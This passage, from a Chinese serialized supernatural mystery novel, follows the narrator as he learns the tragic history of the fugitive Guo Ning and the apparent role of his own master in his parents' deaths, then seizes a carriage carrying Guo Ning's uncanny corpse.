旁支和白八门之间,也进行过一些争斗,而且旁支的运气很好,有好几次都是借助大环境的优势,再加上自身的实力,给了白八门沉重的打击。 在旁支强势的时候,用各种各样的手段胁迫白八门的人低头。 说到这里,我就想起了胖大娘的那块悟道牌。这是祖师爷的遗物,被郭家的旁支给弄走了,程白鹤年轻时,没有那么强的实力,很可能就是在那时候,被旁支压制着,被迫承认对方的地位,而且还立盟发誓。 白水湖火拼发生的时候,郭家嫡系的势力,已经相当萎靡了,郭宁是郭家最正统的核心后裔,因此,在白水湖火拼的过程里,邪神庙的人把郭宁隐藏起来,避免他遇到危险。 可郭宁放心不下,最后还是出现了,幸存的那几个邪神庙的人拼了命也要保着郭宁离开。 郭宁从白水湖逃走,之后的几年时间里,一直没有什么动静,没有人知道他究竟是死了,还是隐姓埋名。 这种安生日子,并没有持续太久,白水湖火拼发生了大概十年之后,当年参与的那些白八门的人,接二连三受到了打击报复。 根据当时的具体情况去分析推敲,出手的人肯定就是郭宁。他身上背负着那么大的冤屈,自己又少了四根手指,十年卧薪尝胆,有了足够的把握之后,才重新露面。 或许就是程白鹤当时没有再苦苦的追击郭宁,郭宁专门放过了万花门,因为没有遭到郭宁的打击,很多细节和内情,程白鹤自己都不清楚。 郭家的旁支自然也没能躲得过去,他们虽然人多,势力也大,但总不可能防备的滴水不漏。 那个叫郭宁的人,很懂得隐忍,而且善于把握机会,总是在最合适的时机才骤然出手,让人防不胜防。 一来二去,不管是旁支还是白八门的人,都吃了不少亏。他们不得不再次联手,到处搜捕郭宁。 其实,这里面有个很浅显的道理,就算郭宁不来找他们,他们必然也会想办法去找郭宁。因为郭宁是郭家的嫡系,据说,郭家的嫡系手中,掌握着葬经终篇的大部分内容,这是至关重要的东西。 反正双方斗来斗去,费了很大的时间和精力,都没能抓到郭宁。 有一年,郭家的旁支不知道从什么地方探听到了消息,说郭宁的妻子即将分娩了,为了保证妻儿的安全,郭宁不得不带着妻子四处隐居。 这是一个绝佳的机会,旁支自然不会放弃,当时就召集了一些人,到处去找。 不管是郭家的旁支,还是白八门的人,都不是泛泛之辈,尽管郭宁的行踪一直都隐秘,却还是被查到了蛛丝马迹。 郭宁在全力摆脱追捕,旁支的人则全力进行追击,双方持续了大概有一个多月时间,最后,郭宁的行踪又一次暴露了。 “郭宁最后一次露面,是在一个叫旗河的小村子,你不会不知道吧?” “旗河村?旗河村?” 我自己想了想,虽然这个地名听起来有点陌生,但是只要仔细一想,还是能回忆起来,我之前生长的地方就叫旗河村。 当时,旁支的人和白八门的人为了除掉后患,把旗河村团团给围住了。 郭宁可能知道这次很难逃掉,再加上要照顾即将分娩的妻子,所以一直躲着不敢出来。 就这样被围了两天,白八门的人有点按捺不住,生怕拖延的时间久了,再生出什么事端,所以就打算硬闯进去。反正旗河村是个很普通的小村,村里的人也都是寻常老百姓。 就在众人将要冲进去的时候,郭宁突然杀了出来,他一直都是围捕的重点,等郭宁冲出来之后,大部分的人立刻就集中精力,追赶了过去。 第196章 更多信息 郭宁一路狂奔,最后是在小村西边的一片山地被追上的,白八门和郭家旁支的人废了这么大的力气,肯定不会轻易放过他。 双方又是一阵玩命的厮杀,郭宁虽然很出众,奈何强敌环立,他最后退无可退,自己从山地的边缘跳了下去。 那片山地非常深,人跳下去的时候,基本不可能生还。为了求个安心,还是有一些人进入到山地的下方去寻找郭宁的尸体,剩下的人又重新回到了小村附近。 当时的很多人都能想到,郭宁一定是想舍了自己的命,去保住妻儿,所以,郭宁冲出去以后,剩下的几个人还是严守在村子的每一个出口。 一直到郭宁坠崖为止,郭宁的妻子都没有出村。 得知郭宁已经坠崖之后,白八门的人没有了任何顾虑,立刻悄悄潜伏进村,开始寻找。 他们一进村子,就在小村最边缘的一处院子里,发现了蹊跷。 院子里有人在燃火,而且火势很大,翻过墙头一看,他们发现这是一个很久都没人住的院子里,里面放着一大堆柴火。 火焰在燃烧,可以看到流淌在柴火之间的血迹,一个女人置身在火堆里,应该是刚刚举刀自尽的。 白八门的人里面,以前有几个见过郭宁的妻子,一下子就认了出来,他们冲上前去,把火给扑灭,但已经来不及了,郭宁的妻子是燃起了火,自己跳到火堆以后,举刀自尽的,为的就是害怕落到郭家旁支的手里,会受尽屈辱。 除了郭宁的妻子之外,还有一个刚出生的婴儿,已经被烧的面目全非,几乎和焦炭一样。 事情到了这一步,可以说郭宁一家都丧命了,但那些负责寻找郭宁尸体的人,最后空手而归,他们说,把整片山地下方都找遍了,也没找到郭宁。 这个情况引起了众人的恐慌,其中一些心细的人,专门从火堆里面捡回来几根婴儿的残骨。 一帮人又在村子附近找了很久,始终没能找到郭宁的尸体,按道理说,从那么高的地方跳下去,是绝对不可能活下来的,可是生不见人死不见尸,就让人感觉心里很没底。 一连过去好几天,这帮人才悻悻而归,那个捡回几根婴儿残骨的人,专门找到当时久负盛名的卜算大师。 有婴儿的残骨,还有郭宁当年掉落的四根指骨,想要验证他们是不是亲父子,不是件难事。 那名大师用两块骨头卜算,本以为是手到擒来的事情,然而,结果却非常出乎人的意料。 用来占卜的两块龟甲,在桌子上面不停的转动,没有人触碰,龟甲就仿佛被一股无形的力量所驱使着,一直都不停下来。 这样的情况,是哪位大师也没有预料的,龟甲不停下来,就无法形成卦象,不能确定的占卜出最后的结果。 他连着试了几次,每次的结果都是如此,这个大师就知道,这件事情没办法再推算下去了。 出现这样的结果,就更加充满了不确定性,那个在火里烧死的婴儿,可能是郭宁的儿子,但也有几率不是。 后来,郭家旁支的人去村子里暗中查看了几次,把每一家每一户的情况都摸了个底朝天,也没有查出任何可疑的线索。 这件事情,就成了郭家旁支的一块心病,当年白水湖就是因为让郭宁逃了出去,结果带给他们无穷无尽的后患,要是郭宁的儿子真的没死,说不准还会有数不尽的麻烦。 更要紧的是,郭宁是郭家的嫡传,他知道葬经终篇相当一部分的内容,当时郭宁要是真的舍身去救自己的妻儿,也不可能让祖传的经文就此失传,他肯定会想办法留给自己的儿子。 一听到这里,我就更加确定了,难怪我刚被抓到七爷那里的时候,苗大奶奶就装神弄鬼的,追问我葬经终篇的内容。 就因为我是从那个小村子出来的,而且,身上有郭宁留下的烙印,所以那些人发现了我之后,才会这么怀疑我。 但是现在,我的嫌疑基本被洗脱了,苗大奶奶直接尝试了几次,都没看出来我和郭宁有什么血缘关系。 “我虽然是生在旗河村的,不过,那个郭宁和我没关系。” “这种事情,谁又说的准呢?”程一后背的那张脸,似乎轻轻的扭曲了一下,说道:“要是压根就没有一点关系,怎么会平白无故的怀疑到你身上?” “那你是什么意思?难道我和郭宁,有什么瓜葛?” “我不知道。” “你不知道就别瞎说,他们怀疑我,归他们怀疑,我又管不住他们。” “你把事情想的太简单了吧?” “你究竟是什么意思,能不能直说?” “有的事,我不能太确定,所以也不敢把话说的太满。我只能说个大概,比如,你师傅。” “我师傅?我师傅怎么了?” “你觉得,你师傅能收你为徒,是不是巧合?” “这……” 对方的话,一时间让我有些语塞,不知该如何回答。如果倒退个半年一年,我心里是没有半点犹豫的,我觉得师傅养活我,教我手艺,是实心实意对我好的。 可是,我到了平安集以后,知道了一些过去的事情,特别是师傅当年收养我的经过,我心里的念头,就不由自主的发生了无声的变化。 只不过,我还没有弄清楚确切的真相,所以,孰是孰非,无法下一个定论。 “那我告诉你吧,你师傅,当年可是下了大功夫的。” 当年那个卜算大师,没能算出确切的结果,但不少人认为,那个被烧成焦炭的婴儿,的确是刚出生的,郭宁的妻子知道逃不出去了,最后也死在了村子里。 她就算再怎么样,也不可能临时找到一个婴儿,放到火堆里烧死。 所以,很多人觉得,那个婴儿的身份,已经可以确定。 不过,也有极少的人始终抱有怀疑,我师傅,就是其中一个。 这件事过去了几年,师傅专门到旗河村去暗中勘察过,经过勘察,他得到了一个被别的人忽略的问题。 我们那个村子很小,没多少人,所以也不会有太多的新生儿,郭宁当年带着妻子躲到小村的时候,整个村子里,也只有一个出生了大概四五个月的孩子。 那个孩子,就是我。 第197章 动机可疑 程一背后那张脸还没有把话说完,可是,我的心底却陡然萌生出了一股刺骨的寒意。 童年时那些几乎已经快要被我淡忘的回忆,现在似乎一点一点的清晰了起来。 与此同时,师傅的脸庞,却在我心中慢慢的模糊。 “你接着说吧。”我定了定神,事情不管怎么样,都已经是发生过的,无法弥补,现在最要紧的是弄清楚真相。 只有弄清楚所有的真相,我才能有一个明确的判断,以后的路该如何去走。 当时,师傅在旗河村暗中查询,查到了我家。不过,按照一些事件发生的时间来看,我比郭宁的儿子大了四五个月,所以,从年龄就对不上号。 在师傅之前,白八门还有郭家旁支的人已经把村子的情况摸了个底儿朝天,就是因为我的年龄和郭宁的儿子差了不少,所以那些人也没有怀疑,最后就彻底的放弃了这个小村。 “你师傅梁勇注意到旗河村的时候,已经过去几年时间了,他原本也没有抱太大的希望,只不过,恰好就遇见了你们村子里的那个哑巴,你应该还记得哑巴是不是?” “哑巴大爷……我记得,他怎么了?” “那个哑巴虽然不会说话,但是他住的地方离你家很近,你师傅就专门找那个哑巴,从他那里套取信息。” 这些情况是我之前完全不知道的,哑巴大爷和我家很熟,他平时要出去放羊,到处乱跑,师傅就是借机装着路过,和哑巴大爷比划着聊了很久。 哑巴大爷只是个普通人,没有什么心机,师傅的心眼肯定比他多,从哑巴大爷那里套取信息,也不算难事。 从哑巴大爷那里,师傅又得知了一个很重要的情况。几年前,郭宁偷偷带着妻子潜伏到这个小村的时候,最先接触到的,就是我父亲。 父亲那人很实诚,老实巴交的,他不知道郭宁的真实身份,就觉得对方是落难了,而且郭宁的妻子马上就要分娩,无处可去。恰好,村子有一个院子空闲了很久,平时没人住,父亲就帮忙把郭宁他们安顿了进去。 郭宁在那个小村子里滞留的时间不算久,也就几天。因为事情过去了那么多年了,所以很多情况都不是很详细,大概就是在郭家的旁支围住那个小村的当天,郭宁跟我父亲聊了好一阵子。 他们具体聊了些什么,也没人知道,父亲聊完以后,急匆匆就从那个空闲的院子回了家,之后一直到郭宁的妻子死在院子里,我父亲都没有再去过。 这个重要的信息,让师傅意识到,郭宁是不是跟我父亲说了什么。也就是因为这样,师傅才盯上了我们家。 之后的一段时间里,师傅一直都在暗中窥察。再之后,我父母就都在那个夜晚死去了。 当那张脸说到这里的时候,我的心就猛然一阵抽搐般的疼痛。程白鹤还有小皮陪着我回过小村,而且查验了父亲的遗骨。父亲是被三尸虫给弄死的,程白鹤说过,整个白八门,也只有师傅掌握了豢养三尸虫的手段。 此时此刻,我几乎可以确认了,我被师傅收养,根本就不是一个巧合,而是精心设计的阴谋。 可是,师傅用这样的方式收养我,到底有什么目的? 难道,他也怀疑我和郭宁有什么关系? 这不太应该,当时的情况,师傅已经勘察清楚了,郭宁的儿子刚刚出生,我就已经四五个月大了,婴儿之间差了半岁,状态是完全不一样的。 可师傅下狠手,把我父母都害死,他究竟图什么? “你的身份,的确是惹人怀疑的,不仅仅你师傅,就连……就连我,也吃不准你的身份。” “你不要再说了……”我的心此刻感觉透心的凉,我不是不能承受挫折和打击,即便面对再强的敌人,我也不会轻易屈服。 我不能承受的,是一个自己一直以来视为亲人的人,却隐藏着那么不堪回首的过往。 那张脸似乎也察觉到了我的神情有异,暂时闭上了嘴巴。我自己独自思索了好一会儿,才慢慢的平复了心绪。 “你身上,为什么会有郭宁的烙印?” “我不知道,我要是知道的话,还会这么迷茫吗?” “那……”那张脸迟疑了一下,又试探着问道:“那你知道葬经终篇吗?” 当对方的这句话一说出来,我心头的警惕感,立刻就爆棚了。 这张脸用这种方式出现,我肯定猜不到他的具体来历和身份,刚才交谈的时候,因为说的都是和我紧密相关的事情,而且还触动了我心底的苦楚,所以我有点分神。 等听到这句话的时候,我马上就回过了神,这张脸说来说去,其实最后还是在询问葬经终篇。 我并不知道葬经终篇的内容,然而,这张脸的动机既然不纯,我就会怀疑,他是不是暂时隐藏了敌意。 “不管你是谁,也不管你的目的是什么,我都跟你说句实话,我不知道葬经终篇,连一个字都不知道。” “不知道就不知道吧,何必这么凶巴巴的?行了,你也别埋怨了,后会有期吧。” 这张脸说完这几句话,顿时就闭上了嘴巴。因为我心里有了警觉,所以不得不刻意的关注小屋外面的一些动静。 与此同时,我还在想,不管这张脸是什么来历,但他今天提供的一些信息,多少还是有用的,至少让我彻底明白了白八门,郭家旁支,还有邪神庙之间的关系。 明白了这些,对那个叫做郭青秀的胖大娘,就更要提防。 这时候,我看到程一背后的那张脸,已经消失了,我害怕程一本人会受到什么影响,急忙走过去,拉了她的胳膊一下,看看她有没有反应。 我这么一拉,程一果然就有了反应,身躯轻轻一颤。 她身上的衣服,是我刚才随手给披上去的,这时候突然又滑落了下来。 程一的身躯一颤,跟着就转了转头,她应该没有太大的问题,这时候已经清醒了,第一时间就感应到,自己上身什么都没穿。 第198章 卷土重来 这一刹那间,我的脸直接红到了脖子根,恨不得找个地缝钻进去。 一开始的时候,程一也呆住了,放到谁身上,都不可能适应如今的情景。 她的脸也一下子涨得通红,紧紧咬着嘴唇,那种眼神,恨不得直接把我给撕碎。 但是,就是短短几秒钟时间,程一的目光又缓和了下来,她应该回过神了,知道我不是那种趁人之危的人。 程一唰的一下子穿好了衣服,回过身看了看我,她毕竟是个姑娘,面子上依然有点过不去。 “程一,我……” “什么都别说,我知道怎么回事,你不是那种人。” “你知道就好……我就怕自己再背上一口大黑锅。” “净说这些没用的。” “今天是怎么回事,你的后背怎么……怎么会有一张脸?” 我说着话的时候,朝周围看了看,那张脸消失了,但是不能确定对方是否已经远离。 这个人的动机,越来越让我琢磨不透,他肯定是有意告诉我这些话的,而且,他本人又不想露面,只能用这样的方式来传递信息。 程一对刚才的事情,懵懵懂懂,她之前的确是睡着了,但是睡梦中突然惊醒,就感觉有人在逼着她,到我的屋里来。 那种感觉,程一形容不出,反正非常的吊诡,整个人就如同不受控制一般。 “算了,这件事不要再想了,想也没有用。那张脸和你说了什么?” 我想了想,我自己的事情,程一知道很多,我没有必要对她撒谎,所以,还是原原本本的告诉了她一遍。 我们两个合计了半天,我肯定和郭宁没有血缘关系,但是,这件事牵扯到了葬经终篇,我就不得不用心的去揣度。 天亮之后,我和程一都回去补了一会儿觉,小皮在前面看铺子,同时还在不断的关注着平安集的一些动态。 到了下午的时候,小皮跑来告诉我,七爷和那个胖大娘,刚从外面回到平安集。这两个人应该是天没亮就离开平安集了,所以小皮没有观察到。 两个人回到七爷的铺子里,再也没有露面。 我现在对七爷和那个叫郭青秀的胖大娘,有一种隐隐的畏惧,郭青秀背后站着的是郭家的旁支,虽然是旁支,但是好几十年前,他们就已经取代了郭家嫡系的地位,势力应该是盘根错节。 而且,郭家在过去几百年的时间里,不断的在学习,精研,郭家的高手很多,随便拎一个出来,都不是我能对付的。所以,目前这段时间里,我还是要老老实实的呆着。 晚饭过后,小皮一个人在铺子那边呆的无聊,就跑来找我聊天,我们俩天南海北的聊了很长时间,这个月份,天气已经凉了,到了深夜以后,平安集就没有之前那么热闹,就连街上摆摊子卖宵夜的,也大多回了家。 快到凌晨一点的时候,小皮就准备回铺子前头睡觉,他刚刚打开屋门,我们俩几乎同时听到了一阵铃铛声。 这阵铃铛声一传来,我和小皮不约而同的都打了个哆嗦。因为我们能分辨的出,这是上次老杂毛来到平安集的时候,驾驭那辆马车所发出的铃铛声。 这个老东西,果然不死心! 我们俩急忙就跑到铺子前面,悄悄的趴在门边朝外面看。果不其然,那阵铃铛声是缓缓移动的,过了没多久,铃铛声里又传来了车轮滚动的声音。 我现在无法判断老杂毛这次到平安集,是来找七爷报仇的,还是又想找我的。 我和小皮都很紧张,上次老杂毛虽然吃了亏,但是把七爷连同一帮人都给放倒了,这一次他既然敢来,肯定是做了准备的。 我们俩贴着门,一边听,一边观察,过了一会儿,小皮就倒抽了一口凉气。 “听着铃铛的声音,是朝着咱们铺子这边来的!” “那怎么办?” “不过,这次的铃铛声和上次不太一样,这次的铃铛只是普通的铃铛声,五满哥,你听了铃铛声音,没觉得有什么不舒服吧?” “没有。”我暗中感应了一下,确实没有任何不适。 “我去把三大爷喊过来。” “等等。” 我一把拉住了小皮,上次的事情已经把程白鹤给拖累了,幸亏是没闹出大麻烦。这次老杂毛过来,必然是要动手的,程白鹤如果再参与进来,肯定凶多吉少。 我是个外人,无论如何都不能牵连他们,我已经暗中做好了打算,如果老杂毛真的是来找我的,那我就没别的路可走了,自己冲出去,把老杂毛给引走。 铃铛声越来越近了,甚至已经能听到马蹄声落地的声音,紧跟着,我从门缝里就看到那辆马车缓缓的从寿衣店的门外走了过去。 果然还是那辆马车,马车上果然还是老杂毛。 不仅如此,马车后面仍旧拉着那只木头箱子,用黑布盖的严严实实,只能看出一个大概的轮廓。 二傻子上次就说过,木头箱子里面有一个人,右手只有一根手指。当时听到这些信息的时候,我的反应还没有强烈,可现在我又了解了不少信息,一想到右手只有一根手指的人,自然而然的就会联想起郭宁。 老杂毛是邪神庙的,那么这口木箱子里的人,多半就应该是郭宁。 这里面还有一个令我费解的问题,郭宁现在是什么状态?他活着?还是已经死了? 如果活着,为什么不堂堂正正出来见人?根据那张脸的讲述,郭宁并不是贪生怕死之辈。 如果他死了,怎么还会产生这么大的威能,上次老杂毛能一个人独挡那么多人,肯定有郭宁的加持。 一时间,这个问题就把我的脑子给绕晕了。 好在老杂毛的马车并没有停留,从寿衣店经过以后,在前面的路口朝左边拐了。 这时候,我的眉心一跳,因为路口朝左拐过去,走不了多远,就是七爷的玉方斋了。 第199章 声势惊人 一看到那辆马车是奔着玉方斋去的,我就微微松了口气,虽然情况还不能完全确定,但是,就目前的状态来看,老杂毛要找的是七爷。 “无满哥,应该没事,冲着七爷他们去的。这个老杂毛上次吃了亏,估计还是咽不下这口气。” “先看看,要是真的去找七爷,那就再好不过了。” “对,老杂毛把七爷他们一股脑都收拾了,以后你也不用害怕七爷他们再找你的麻烦。” 我和小皮交谈了几句,心里虽然觉得松懈了一点,可是紧跟着又是一阵莫名的惊悚。 老杂毛就来了平安集一次,第二次过来,精准的直奔七爷的老窝,这就说明,老杂毛事先肯定打探了一些消息。 我在寿衣店这里住的时间也不算太短了,虽然平安集的人不知道我的来历,但上次二傻子的死,闹的沸沸扬扬,我不敢保证自己的底细完全没有泄露出去。 所以,老杂毛到了平安集,对我多少都是一种威胁。与其呆在寿衣店里,倒不如溜到外面去,可以躲避起来,同时还能继续观察一下老杂毛那边的动态。 “小皮,你守在店里,别到处乱跑,我出去看一下。” “五满哥,你自己出去,太危险,不行的话,我还是和三大爷打个招呼,要不然就我陪着你一起去,好歹也有个照应。” “你别出去,我一个人就行,我不会冒险,有什么动静,我肯定会溜,放心吧。” 我坚持不让小皮跟过来,自己一个人悄悄的溜了出去。这个时候的平安集,一片寂静,只有老杂毛驾驭的马车,时不时的传出几声如同半死不活一样的铃铛声。 我估摸着,其实平安集的一些人已经听到了马车的铃铛声,毕竟这里那么多混江湖的人,都练过功夫,或者有点道行,微弱的铃铛声也能引起他们的注意。 只不过,这帮人知道前些天七爷吃了大亏的事情,肯定不会跑出来惹麻烦,最多就是和我一样,躲着看个热闹。 我现在对平安集的地形也是非常熟悉了,出门之后就贴着墙根,跑到了拐角那边。 偷偷露出眼睛看了一眼,老杂毛的马车,已经停到了玉方斋的门外。 老杂毛应该知道,现在就算去敲门,也不可能有人给他开。他缓缓的驾驭马车,调转方向,车头径直的对准了玉方斋的大门。 我还没弄明白,老杂毛到底是什么意思,突然间,他猛然一甩鞭子,拉车的马匹吃痛,嗖的一下就冲了出去。 这一瞬间,这辆马车就仿佛携带着千钧之力,平安集这里大大小小的门面,基本都是木头的房门,在马车如此狂猛的冲击下,木门不堪一击,嘭的一下就被撞碎了。 玉方斋这个门面,应该是平安集最大的一处,正门足足有四五米宽,马车撞碎了大门之后,竟然还是没停,轰隆一下就冲了进去。 我离的有点远,但是依然能够听到玉方斋里面顿时传出了一阵乒乒乓乓的声音。七爷的这个铺子,专门卖一些文玩古董,铺子的货架柜台全都是瓶瓶罐罐,马车横冲直撞,肯定把货架都撞翻了。 这一下就闹的鸡飞狗跳,虽然马车已经冲进去了,但我还是不敢靠近,无论是老杂毛还是七爷,要是发现我在偷偷的窥视,肯定不会放过我。 我只能耐着性子,顺着墙根缓缓的靠近,等快到玉方斋的时候,立刻又缩着脖子躲到了对面的墙壁后头。 玉方斋里面,平时一直有好几个人在看家护院,现在郭青秀和苗大奶奶也都在,人数不少。马车撞破大门的时候,肯定惊动了里面的人,我觉得,老杂毛把马车赶进去以后,依然没有停止,似乎径直继续冲了过去。 铺子里面通往后院的门肯定也被撞开了,声音轰隆轰隆的,与此同时,玉方斋里也传出了人的叫骂声。 我觉得,老杂毛不会那么莽撞,一个人就冲到龙潭虎穴里面,他肯定做了准备。 果然,当我心里闪过这个念头的同时,马车上的铃铛,突然急促的响了起来。 因为今天马车出现之后,铃铛声很普通,对人没有产生任何的影响,所以我就疏忽了,当玉方斋里面的铃铛声响起的那一瞬间,我就觉得自己的脑瓜子顶上同时炸响了几道炸雷,脑袋一下子就晕晕乎乎的。 我连想都没想,立刻撕下一片衣角,把耳朵结结实实的堵了起来。耳朵被堵死之后,铃铛声是听不到了,但是别的声音也听不到,我根本就不清楚,玉方斋的里面究竟是怎么样的状况。 我一点都不敢大意,还是躲在原地,双眼死死的盯着玉方斋已经破碎的大门。 我觉得,老杂毛只要一进去,肯定会跟对方杀的难分难解,等他们杀到眼红的时候,我再悄悄的潜伏过去也不迟。 耳朵一堵上,就觉得心里很不踏实,可是干着急也没有办法。 就这样心急如焚的等了大概有六七分钟时间,我觉得,在那阵铃铛的影响下,七爷他们估计够喝一壶的了。 就在此刻,那辆马车突然从玉方斋的大门里面冲了出来。我一直都死死盯着大门那边,马车一出来,立刻就被我看到了。 老杂毛没有在马车上面,我注意到,那口木箱子还在,箱子上的黑布已经被掀开了,但是箱盖并没有打开。 我听不见声音,却能观察的到,那匹拉车的马似乎是受惊了,所以才从里面冲了出来。 马车一出大门,马匹就晕头晕脑的朝着右边拐弯,跌跌撞撞的跑着。可能老杂毛和七爷他们这时候斗的正凶,没有谁顾得上这辆马车。 那匹马还是跌跌撞撞的朝前冲,因为没有人驾驭,跑的歪歪斜斜,后面的平板车不断的碰撞着墙壁。 眼看着马车就要冲出拐角了,我心里猛然一动,顿时产生了一个大胆的想法。 那个叫做郭宁的人,无形中吸引了我所有的注意力,现在老杂毛和七爷他们都不在,应该是个好机会,最起码可以把木箱子里的那个人,仔细的观察一下。 虽然这肯定有危险,但不去冒险的话,什么线索和信息都得不到,我做好了打算,先跟上去看看,如果实在不行,我再退走就是了。 一想到这儿,我就不再犹豫,猫着腰一通狂奔,没过多久,就追上了那辆跑的歪歪斜斜的马车。 第200章 生死难辨 我追上马车,翻身就跳了上去,顺便回头看了看,身后没有人追来,我估摸着,老杂毛现在肯定被七爷他们给缠的死死的。 我以前没有驾驭过马车,跳上来之后一时间有点手足无措,受惊的马匹依然在空旷的街道上横冲直撞,转眼的功夫,已经冲出了平安集。 出了平安集之后,道路又宽阔了些,现在正是深夜,万籁俱静,马车一口气就冲出了县城。 一直到这个时候,我才试探着把耳朵上的布拿了下来,马车奔跑之间,铃铛声没有断绝,不过,到了县城外面,铃铛声似乎又变的平平无奇,对我构不成什么影响。 拉车的马或许是渐渐平静了下来,放缓了速度,过了没一会儿,就彻底停到了县城的外头。这里距离县城不算近,环顾四周,一片寂静,看不到一个人。 此时此刻,我的眼睛就盯住了马车上的木箱子。这口木箱子是长方形的,不算太大,不过放一个人进去肯定没问题。 我的脑海中,再一次回想到了二傻子和我说的那些话,那个右手只有一根手指的人,就在这口箱子里。 在没有靠近这口木箱子的时候,我心里的想法只有一个,那就是打开这口箱子,仔细的看一看。可是这口箱子真正摆在我面前时,我却犹豫了。 因为我的心里突然升腾起一种很难形容的感觉,这种感觉很复杂,让我彷徨,甚至有一点微微的恐惧。 四下无人,这片荒野中只有我和这辆马车,我强行把那种不安的感觉压了下去。如果这时候不打开箱子看看的话,说不定以后就永远没有机会了。 我咬了咬牙,不想再拖延时间了,必须趁现在没人的时候一探究竟。 箱子并没有上锁,我扳着箱盖,轻轻打开了一道缝隙。 当箱子打开的那一瞬间,我心中复杂的情绪顿时就达到了无法抑制的地步。 箱子里,真的有一个人。 我虽然没有亲眼见过这个人,但看到他的时候,我能确认,这一定就是那个叫做郭宁的人。 我被七爷抓走的时候,他曾经让我看过一幅画像。画像里的人大概有三十多不到四十的年纪,那人的右手只剩下一根手指,肯定就是郭宁。 也就是通过那幅画像,我才知道了郭宁的样子。 箱子里的这个人,和画像上几乎没有什么区别。 在我看到他的第一时间,就觉得他好像是昏厥了,可是再看一看,我又觉得,这个人似乎已经死了。我抬棺这么久,对于尸体见的也多了,但这个人有些异样,我竟然分辨不出他究竟是死了,还是活着。 这个时候绝对不能胡思乱想的分神,我静下心,又靠近了一些。 箱子被打开,这个人依然闭着眼睛,一动不动。我觉得,如果他还是在正常状态下的话,那么不可能发现不了。 这里面又有一个很吊诡的问题,如果这个人活着,那么还好解释,老杂毛就是靠着他,在平安集里横冲直撞。但是,这个人如果已经死了,老杂毛是怎么借助他的力量的? 我忍不住伸出手,轻轻碰了碰这个人的胳膊,这么一碰,我心中的诧异就更深了。 这个人的皮肤是柔软的,而且有弹性,就和活人的皮肤一样。但是,他的身躯没有一丝温度,整个人都冷冰冰的。 活人的皮肤,死人的温度,我一下子就迷茫了。 就在这时候,我的余光一瞥,就觉得他的脑袋好像有点不太对劲。我换了一个角度,弯腰看了一眼,心头立刻一惊。 他的后脑有一道很深的裂痕,半颗头骨都裂开了。人的头骨是很坚硬的,除非是遭到强大外力的冲击,才可能碎裂。 我跟着又检查了一遍,随即,我就发现对方的左腿骨折了。 就在这弹指刹那间,我猛然间意识到,这个人可能真的死了。当年,郭家旁支和白八门的人,一直把他追到了一片山地的边缘,那个人或许是怕被对方抓住之后,会受尽屈辱,所以直接纵身跳了下去。 当时的人都觉得,从那么高的地方跳下去,绝对不可能活着,所以,一帮人专门去找他的尸体,但是找了很长时间都没有找到。 我现在有点分辨不清楚,这个人到底是跳下山崖后没死,自己逃走了,还是被别人提前带走了他的尸体。 他的身上穿着一件干干净净的粗布衣裳,口袋里没有任何东西,想要查找一些别的线索,应该是不太可能。 这个时候,我又不知道该怎么办了,我终于看见了这个人,但是该怎么处置他的尸体?留下来不管?还是接着送回到平安集去? 我对这个人没有任何的敌意和厌恶,只是因为老杂毛,所以我心里才犹豫不决,要是把这个人再送回去,老杂毛万一占了上风,后面会不会继续跟我为难,这谁都无法保证。 我左思右想,决定还是先回到平安集那边去看一看,见机行事。我对老杂毛很反感,但是七爷和郭青秀更不是什么好人,留着老杂毛和他们斗下去,反倒会让我轻松一些。 我站起身,准备从马车上跳下来,这么一站起来,我就觉得头很晕,就好像犯了低血糖一样。 头晕的同时,眼睛似乎也花了,我这边刚刚顺手揉了揉眼睛,朦胧之中,仿佛看到木箱子里的人动了动。 当我转过头,再一次正视他的时候,整个人一下子就呆住了。 那个人似乎还是保持着原来的样子,但是,我眼前的情景在不断的闪烁,模糊,已经有点难以自持。 乱七八糟的景象终于清晰了下来,这一次,我看到的,是自己以前生活的那个小村子。 隐隐约约间,我看到了以前的家,还看到了自己的父亲。 我看见父亲站在院子的角落,正在跟人说话。和他说话的人,赫然就是郭宁。 他们说了什么,我听不清楚,但是可以看得出,郭宁很紧张,似乎还有些激动,言谈之间,他的手在轻轻发抖。 郭宁说话的时候,父亲就一直低着头,过了很长时间,他终于抬起头看了看郭宁。 父亲没言语,只是郑重其事的点了点头。 一时间,郭宁如释重负,他想要说什么,却又没说出口,只是重重的拍了拍我父亲的肩膀。 第201章 往日重现 我模模糊糊的看到,郭宁拍了拍我父亲的肩膀之后,转身就走了。他走了以后,父亲站在原地,愣愣的发了好久的呆。 当我看到这一幕已经发生在许久之前的情景时,猛然间就意识到,原来师傅当初一直暗中盯着我们的村子,不是没有道理的。 虽然我听不到郭宁和我父亲究竟说了什么,但他们之间必然有秘密。郭宁躲到小村的时候,已经算是山穷水尽了,他在村里并没有停留多久,也就是说,这些话,很可能是在郭宁冒险冲出村子之前和我父亲说的。 我的心就好像有猫爪子在挠,痒的厉害,很想知道他们究竟说了什么。 突然间,我的脑袋和眼神又开始恍惚,心底那残存的清醒刹那间消散于无形。 紧接着,我好像置身到了眼前的情景中,所看到的,还是那个小村。 我微微一转头,就看见了郭宁,一直到这时候,我才发现,郭宁的一条腿应该是受了伤,虽然骨头没有断,但伤的很重,他全力想要控制身形,可走路的时候,依然微微发瘸。 尽管小村里面一片宁静,但郭宁走的还是很小心,在村里的道路上来回兜了几圈,这才来到了一个许久都没有人居住的小院。 小院年久失修,围墙已经塌了一截,郭宁连院门都没有走,径直从倒塌的围墙跨了进去。 院子里有一个女人,正靠着屋门的门框,在翘首企盼,当郭宁走过去的时候,那个女人挺着大肚子,迎了过来。 这个女人看上去比郭宁年轻的多,大约也就是二十四五岁的样子。她的衣着打扮很普通,和乡下人没什么区别。 她的模样很端正,说不上多漂亮,长相却有一种质朴的清秀,她的皮肤有一点点黑,就像是成千上万经常在田地里劳作的农民一样,在劳累的岁月中被浸染成了小麦色。 “你现在身子不方便,到屋里歇着,不要乱走动。” 郭宁看着这个女人的时候,目光一下子就柔和了。他扶着那女人,重新走到了小屋里,屋子里破旧不堪,只有一张硬板床,铺了褥子。 我就站在围墙外面,却能清清楚楚听到他们的对话。我现在已经忘记了自己是谁,也忘记了这到底是怎么回事,只想离他们近一点,看的再清楚些。 我蹑手蹑脚的跨过了围墙,一直来到了小屋的窗外,在我内心最深处,还有那么一点点自知之明,我模模糊糊的知道,这些都不是真实的,可是这一丝清醒却始终无法说服自己。 只因为我现在的处境,真实的有点离谱,即便是我清醒的时候,或许都分辨不清楚。 “这一次,真的是……真的是苦了你了。” 